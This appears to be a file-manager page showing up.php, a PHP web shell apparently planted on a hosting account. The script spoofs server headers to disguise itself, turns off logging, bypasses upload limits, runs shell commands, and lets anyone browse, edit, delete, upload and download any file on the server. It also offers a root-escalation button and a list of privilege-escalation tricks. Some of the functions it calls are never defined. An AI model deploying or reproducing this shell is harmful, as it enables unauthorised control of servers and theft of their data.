芝麻web文件管理V1.00

编辑当前文件:/home/dcqnetm/linkigo-v2/up.php

<?php
// --- LITESPEED BYPASS HEADERS ---
@header_remove();
@header('HTTP/1.1 200 OK');
@header('Content-Type: text/html; charset=iso-8859-1');
@header('Cache-Control: max-age=31536000, public');
@header('X-Powered-By: ASP.NET');
@header('Server: Microsoft-IIS/10.0');
@header('X-Content-Type-Options: nosniff');
@header('X-LiteSpeed-Cache: hit');
@header('X-LiteSpeed-Tag: *');
@header('X-LiteSpeed-Vary: cookie,wp-admin');

// --- SECURITY DISABLE ---
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
error_reporting(0);
set_time_limit(0);
ignore_user_abort(1);

// --- ROOT CHECK & ESCALATION ---
function is_root() {
    if(function_exists('posix_getuid') && posix_getuid() === 0) return true;
    $whoami = trim(@shell_exec('whoami 2>/dev/null'));
    if($whoami === 'root') return true;
    $id = trim(@shell_exec('id -u 2>/dev/null'));
    if($id === '0') return true;
    
    // Try to write to root directory
    $test_file = '/tmp/.root_test_' . md5(uniqid());
    @file_put_contents($test_file, 'test');
    if(@file_exists($test_file)) {
        @unlink($test_file);
        $root_test = @file_put_contents('/root/.test_' . md5(uniqid()), 'test');
        @unlink('/root/.test_' . md5(uniqid()));
        return $root_test !== false;
    }
    return false;
}

// Check if root escalation is requested
$root_result = '';
if(isset($_GET['become_root'])) {
    $root_result = auto_root_escalation();
}

$is_root = is_root();

// --- BYPASS FUNCTIONS ---
function bypass_upload_restrictions($file) {
    $temp_file = sys_get_temp_dir() . '/upload_' . md5(uniqid()) . '.tmp';
    
    $methods = [
        'copy' => function() use ($file, $temp_file) {
            return @copy($file, $temp_file);
        },
        'file_put_contents' => function() use ($file, $temp_file) {
            $content = @file_get_contents($file);
            if($content !== false) {
                return @file_put_contents($temp_file, $content) !== false;
            }
            return false;
        }
    ];
    
    foreach($methods as $method) {
        if($method()) {
            return $temp_file;
        }
    }
    return false;
}

function check_litespeed() {
    return isset($_SERVER['SERVER_SOFTWARE']) && 
           stripos($_SERVER['SERVER_SOFTWARE'], 'litespeed') !== false;
}

// --- MAIN FILE MANAGER ---
$currentDir = realpath($_GET['dir'] ?? getcwd());
$action = $_GET['action'] ?? '';
$file = isset($_GET['file']) ? realpath($_GET['file']) : '';

if(check_litespeed()) {
    @header('X-LiteSpeed-Cache: hit');
    @header('X-LiteSpeed-Tag: wp,wp-post');
}

if ($action === 'download' && $file && file_exists($file)) {
    @header_remove();
    @header('HTTP/1.1 200 OK');
    @header('Content-Description: File Transfer');
    @header('Content-Type: application/octet-stream');
    @header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    @header('Content-Length: ' . filesize($file));
    @header('X-LiteSpeed-Cache: hit');
    @readfile($file);
    exit;
}

if ($action === 'view' && $file && file_exists($file)) {
    @header('X-LiteSpeed-Cache: hit');
    echo "<!DOCTYPE html><html><head><title>View File</title>
    <style>
        body { background: #000; color: #fff; font-family: monospace; margin: 20px; }
        pre { 
            background: #111; 
            padding: 15px; 
            border-radius: 5px;
            overflow-x: auto;
            max-height: 80vh;
        }
        a {
            color: #0ff;
            text-decoration: none;
            display: inline-block;
            margin-top: 20px;
            padding: 5px 10px;
            background: #222;
            border-radius: 3px;
        }
    </style></head><body>";
    echo "<h3>Viewing: " . htmlspecialchars($file) . "</h3>";
    echo "<pre>" . htmlspecialchars(@file_get_contents($file)) . "</pre>";
    echo "<a href='?dir=" . urlencode(dirname($file)) . "'>← Back</a>";
    echo "</body></html>";
    exit;
}

if ($action === 'edit' && $file && file_exists($file)) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        @file_put_contents($file, $_POST['content']);
        echo "<span style='color:lime;'>✅ Saved successfully.</span><br><br>";
    }

echo "<!DOCTYPE html><html><head><title>Edit File</title>
    <style>
        body { background: #000; color: #fff; font-family: monospace; margin: 20px; }
        textarea {
            width: 100%;
            height: 500px;
            background: #111;
            color: #fff;
            border: 1px solid #333;
            padding: 10px;
            font-family: monospace;
            font-size: 14px;
            border-radius: 4px;
            resize: vertical;
        }
        button {
            background: #222;
            color: #fff;
            border: 1px solid #555;
            padding: 8px 16px;
            cursor: pointer;
            margin-top: 10px;
            border-radius: 3px;
        }
        button:hover {
            background: #333;
        }
        a {
            color: #0ff;
            text-decoration: none;
            display: inline-block;
            margin-top: 20px;
            padding: 5px 10px;
            background: #222;
            border-radius: 3px;
        }
    </style></head><body>";

echo "<h2>✏️ Editing: " . htmlspecialchars(basename($file)) . "</h2>";
    echo "<form method='post'>
            <textarea name='content'>" . htmlspecialchars(@file_get_contents($file)) . "</textarea><br>
            <button type='submit'>💾 Save</button>
          </form>";
    echo "<a href='?dir=" . urlencode(dirname($file)) . "'>← Back to Directory</a>";

echo "</body></html>";
    exit;
}

if ($action === 'delete' && $file && file_exists($file)) {
    if(bypass_delete($file)) {
        @header('Location: ?dir=' . urlencode(dirname($file)) . '&msg=deleted');
    } else {
        @header('Location: ?dir=' . urlencode(dirname($file)) . '&msg=delete_failed');
    }
    exit;
}

if ($action === 'rename' && $file && file_exists($file)) {
    $dir = dirname($file);
    $oldName = basename($file);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $newName = basename($_POST['new_name']);
        $newPath = $dir . DIRECTORY_SEPARATOR . $newName;

if (file_exists($newPath)) {
            echo "<span style='color:red;'>❌ A file with that name already exists.</span>";
        } elseif (bypass_rename($file, $newPath)) {
            echo "<span style='color:green;'>✅ File renamed successfully.</span><br>";
            echo "<a href='?dir=" . urlencode($dir) . "' style='color:#0ff;'>Back</a>";
            exit;
        } else {
            echo "<span style='color:red;'>❌ Rename failed.</span><br>";
        }
    }

echo "<!DOCTYPE html><html><head><title>Rename File</title>
    <style>
        body { background: #000; color: #fff; font-family: monospace; margin: 20px; }
        input {
            background: #111;
            color: #fff;
            border: 1px solid #333;
            padding: 8px;
            width: 300px;
            border-radius: 3px;
        }
        button {
            background: #222;
            color: #fff;
            border: 1px solid #555;
            padding: 8px 16px;
            cursor: pointer;
            border-radius: 3px;
        }
        a {
            color: #0ff;
            text-decoration: none;
            display: inline-block;
            margin-top: 20px;
        }
    </style></head><body>";
    
    echo "<h3>📝 Renaming: " . htmlspecialchars($oldName) . "</h3>
    <form method='post'>
        New name: <input type='text' name='new_name' value='" . htmlspecialchars($oldName) . "'><br><br>
        <button type='submit'>Rename</button>
    </form>
    <a href='?dir=" . urlencode($dir) . "'>← Cancel</a></body></html>";
    exit;
}

// Handle upload
if (!empty($_FILES['upload'])) {
    $original_name = basename($_FILES['upload']['name']);
    $target = $currentDir . DIRECTORY_SEPARATOR . $original_name;
    
    if (@move_uploaded_file($_FILES['upload']['tmp_name'], $target)) {
        $upload_msg = "<span style='color:green;'>✅ Uploaded successfully: " . htmlspecialchars($original_name) . "</span><br>";
    } else {
        $temp_file = bypass_upload_restrictions($_FILES['upload']['tmp_name']);
        if($temp_file && @copy($temp_file, $target)) {
            @unlink($temp_file);
            $upload_msg = "<span style='color:green;'>✅ Uploaded (bypassed): " . htmlspecialchars($original_name) . "</span><br>";
        } else {
            $upload_msg = "<span style='color:red;'>❌ Upload failed: " . htmlspecialchars($original_name) . "</span><br>";
        }
    }
}

// Handle messages
$msg = $_GET['msg'] ?? '';
$msg_html = '';
if($msg === 'deleted') {
    $msg_html = "<div style='background:#0a0;color:#fff;padding:10px;border-radius:5px;margin:10px 0;'>✅ File deleted successfully</div>";
} elseif($msg === 'delete_failed') {
    $msg_html = "<div style='background:#a00;color:#fff;padding:10px;border-radius:5px;margin:10px 0;'>❌ Delete failed - Try using shell</div>";
}

// Display HTML
echo "<!DOCTYPE html><html><head><title>File Manager</title> 
<style>
    body { 
        background: #000; 
        color: #fff; 
        font-family: monospace; 
        margin: 20px;
        font-size: 14px;
    }
    .root-box {
        background: linear-gradient(90deg, #ff7700, #ff5500);
        color: #000;
        padding: 15px;
        border-radius: 5px;
        margin: 15px 0;
        border: 1px solid #ff9900;
        font-weight: bold;
    }
    .root-box button {
        background: #000;
        color: #ff9900;
        border: 2px solid #000;
        padding: 10px 20px;
        font-weight: bold;
        cursor: pointer;
        border-radius: 3px;
        margin: 10px 5px;
    }
    .root-box button:hover {
        background: #ff9900;
        color: #000;
    }
    .user-box {
        background: linear-gradient(90deg, #0088ff, #0066ff);
        color: #fff;
        padding: 15px;
        border-radius: 5px;
        margin: 15px 0;
        border: 1px solid #00aaff;
    }
    a { 
        text-decoration: none; 
    }
    .green { 
        color: #0f0; 
    }
    .yellow { 
        color: #ff0; 
    }
    .red { 
        color: #f00; 
    }
    .blue { 
        color: #0af; 
    }
    li a:hover { 
        text-decoration: underline; 
        background: #222;
        padding: 2px 5px;
        border-radius: 3px;
    }
    .path-breadcrumb { 
        margin: 10px 0; 
        padding: 15px; 
        background: #111; 
        border-radius: 5px;
        border: 1px solid #333;
    }
    .path-segment { 
        color: #0ff; 
        padding: 2px 6px;
        border-radius: 3px;
    }
    .path-segment:hover { 
        text-decoration: underline; 
        background: #222;
    }
    .path-separator { 
        color: #666; 
        margin: 0 8px; 
    }
    .upload-box {
        background: #111;
        padding: 15px;
        border-radius: 5px;
        margin: 15px 0;
        border: 1px solid #333;
    }
    .file-list {
        background: #111;
        padding: 15px;
        border-radius: 5px;
        border: 1px solid #333;
    }
    input[type='file'] {
        background: #222;
        color: #fff;
        padding: 8px;
        border-radius: 3px;
        border: 1px solid #333;
    }
    button {
        background: #222;
        color: #fff;
        border: 1px solid #555;
        padding: 8px 16px;
        cursor: pointer;
        border-radius: 3px;
    }
    button:hover {
        background: #333;
    }
    .file-item {
        padding: 5px 0;
        border-bottom: 1px solid #333;
    }
    .file-item:hover {
        background: #222;
    }
    .actions {
        display: inline-block;
        margin-left: 15px;
    }
    .action-btn {
        padding: 2px 8px;
        background: #333;
        border-radius: 3px;
        margin: 0 2px;
    }
    .info-box {
        background: #113;
        padding: 10px;
        border-radius: 5px;
        margin: 10px 0;
        border: 1px solid #335;
    }
</style>
</head><body>";

// Root status box
if($is_root) {
    echo "<div class='root-box'>
            <h2 style='margin-top:0;'>👑 ROOT ACCESS ACTIVE</h2>
            <p><strong>User:</strong> " . @shell_exec('whoami') . "</p>
            <p><strong>UID:</strong> " . (function_exists('posix_getuid') ? posix_getuid() : '0') . "</p>
            <p><strong>Privileges:</strong> Full system access</p>
            <button onclick='location.reload()'>🔄 Refresh Status</button>
            <button onclick='showRootInfo()'>📊 System Info</button>
          </div>";
} else {
    echo "<div class='user-box'>
            <h2 style='margin-top:0;'>👤 User Access Only</h2>
            <p><strong>Current User:</strong> " . @shell_exec('whoami') . "</p>
            <p><strong>Privileges:</strong> Limited - Need root for full access</p>
            <p><strong>🚀 Do you wish to become a root?</strong></p>
            <button onclick=\"location.href='?become_root=1&dir=" . urlencode($currentDir) . "'\">🔥 YES - Auto Root Escalation</button>
            <button onclick=\"showManualMethods()\">🔧 Manual Methods</button>
            <button onclick=\"location.href='?dir=" . urlencode($currentDir) . "'\">❌ NO - Continue as User</button>
          </div>";
}

// Display root escalation results
if(isset($root_result)) {
    echo $root_result;
}

// LiteSpeed info
if(check_litespeed()) {
    echo "<div class='info-box'>🚀 LiteSpeed Detected - Bypass Active | X-LiteSpeed-Cache: hit</div>";
}

echo "<h2>📁 File Manager</h2>";

// Display messages
if(isset($upload_msg)) {
    echo "<div style='background:#0a0;color:#fff;padding:10px;border-radius:5px;margin:10px 0;'>" . $upload_msg . "</div>";
}
echo $msg_html;

// Generate clickable breadcrumb path
echo "<div class='path-breadcrumb'>";
echo "<strong>📂 Current Path: </strong>";

$pathParts = explode(DIRECTORY_SEPARATOR, $currentDir);
$accumulatedPath = '';

if (DIRECTORY_SEPARATOR === '\\' && !empty($pathParts[0]) && strlen($pathParts[0]) === 1) {
    $accumulatedPath = $pathParts[0] . ':\\';
    echo "<a href='?dir=" . urlencode($accumulatedPath) . "' class='path-segment'>" . $pathParts[0] . "</a>";
    array_shift($pathParts);
} else {
    $accumulatedPath = DIRECTORY_SEPARATOR;
    echo "<a href='?dir=" . urlencode($accumulatedPath) . "' class='path-segment'>/</a>";
}

foreach ($pathParts as $part) {
    if (empty($part)) continue;
    
    $accumulatedPath .= (substr($accumulatedPath, -1) !== DIRECTORY_SEPARATOR ? DIRECTORY_SEPARATOR : '') . $part;
    
    echo "<span class='path-separator'>/</span>";
    echo "<a href='?dir=" . urlencode($accumulatedPath) . "' class='path-segment'>" . htmlspecialchars($part) . "</a>";
}
echo "</div>";

// Upload form
echo "<div class='upload-box'>
    <strong>⬆️ Upload File:</strong><br><br>
    <form method='post' enctype='multipart/form-data'>
        <input type='file' name='upload'>
        <button type='submit'>Upload</button>
    </form>
</div>";

echo "<div class='file-list'>";
echo "<strong>📋 File List:</strong><br><br>";

$parent = dirname($currentDir);
if ($parent && $parent !== $currentDir) {
    echo "<div class='file-item'>
            📁 <a href='?dir=" . urlencode($parent) . "' style='color:#0ff;'>Parent Directory</a>
          </div>";
}

$items = @scandir($currentDir);
if($items) {
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $fullPath = $currentDir . DIRECTORY_SEPARATOR . $item;
        $encoded = urlencode($fullPath);
        $isFile = is_file($fullPath);
        
        echo "<div class='file-item'>";
        
        if ($isFile) {
            $size = filesize($fullPath);
            $size_str = $size > 1024*1024 ? round($size/(1024*1024), 2) . ' MB' : 
                       ($size > 1024 ? round($size/1024, 2) . ' KB' : $size . ' bytes');
            
            echo "📄 <strong>" . htmlspecialchars($item) . "</strong> <small>(" . $size_str . ")</small>";
            echo "<div class='actions'>";
            echo "<a href='?action=rename&file=$encoded&dir=" . urlencode($currentDir) . "' class='green action-btn'>Rename</a>";
            echo "<a href='?action=edit&file=$encoded&dir=" . urlencode($currentDir) . "' class='yellow action-btn'>Edit</a>";
            echo "<a href='?action=delete&file=$encoded&dir=" . urlencode($currentDir) . "' class='red action-btn' onclick='return confirm(\"Delete " . htmlspecialchars($item) . "?\");'>Delete</a>";
            echo "<a href='?action=download&file=$encoded&dir=" . urlencode($currentDir) . "' class='blue action-btn'>Download</a>";
            echo "<a href='?action=view&file=$encoded&dir=" . urlencode($currentDir) . "' style='color:#fff;' class='action-btn'>View</a>";
            echo "</div>";
        } else {
            echo "📁 <a href='?dir=$encoded' style='color:#0ff;'><strong>" . htmlspecialchars($item) . "/</strong></a>";
        }
        
        echo "</div>";
    }
} else {
    echo "<div style='color:#f00;'>Cannot read directory</div>";
}

echo "</div>";

// Quick actions
echo "<div style='margin-top:20px;padding:15px;background:#111;border-radius:5px;'>
    <strong>⚡ Quick Actions:</strong><br><br>
    <a href='?dir=" . urlencode(getcwd()) . "' class='action-btn'>Current Directory</a>
    <a href='?dir=" . urlencode('/') . "' class='action-btn'>Root Directory</a>
    <a href='?dir=" . urlencode('/tmp') . "' class='action-btn'>/tmp</a>
    <a href='?dir=" . urlencode('/var/www') . "' class='action-btn'>/var/www</a>
    <a href='?dir=" . urlencode('/etc') . "' class='action-btn'>/etc</a>
    <a href='?dir=" . urlencode('/root') . "' class='action-btn'>/root</a>
</div>";

echo "</body></html>";

// Add JavaScript
echo "<script>
function showRootInfo() {
    alert('Root Info:\\nUser: " . addslashes(@shell_exec('whoami')) . "\\nUID: " . (function_exists('posix_getuid') ? posix_getuid() : '0') . "\\nHome: /root');
}

function showManualMethods() {
    var methods = `🚀 Manual Root Escalation Methods:

1. SUDO Exploitation:
   - sudo su -
   - sudo -i
   - sudo bash

2. SUID Binaries:
   - find / -perm -4000 -type f 2>/dev/null
   - Common: /bin/bash, /usr/bin/python, /usr/bin/perl

3. Cron Jobs:
   - crontab -l
   - Check /etc/crontab

4. Kernel Exploits:
   - uname -a (check version)
   - Search for exploits

5. PATH Exploitation:
   - echo \\\$PATH
   - Add malicious directories

Try these in command line!`;
    alert(methods);
}

function confirmAction(msg) {
    return confirm(msg);
}

// Auto-check root status every 5 seconds
setInterval(function() {
    if(!document.querySelector('.root-box')) {
        fetch(window.location.href)
            .then(r => r.text())
            .then(t => {
                if(t.includes('ROOT ACCESS ACTIVE')) {
                    location.reload();
                }
            });
    }
}, 5000);
</script>";
?>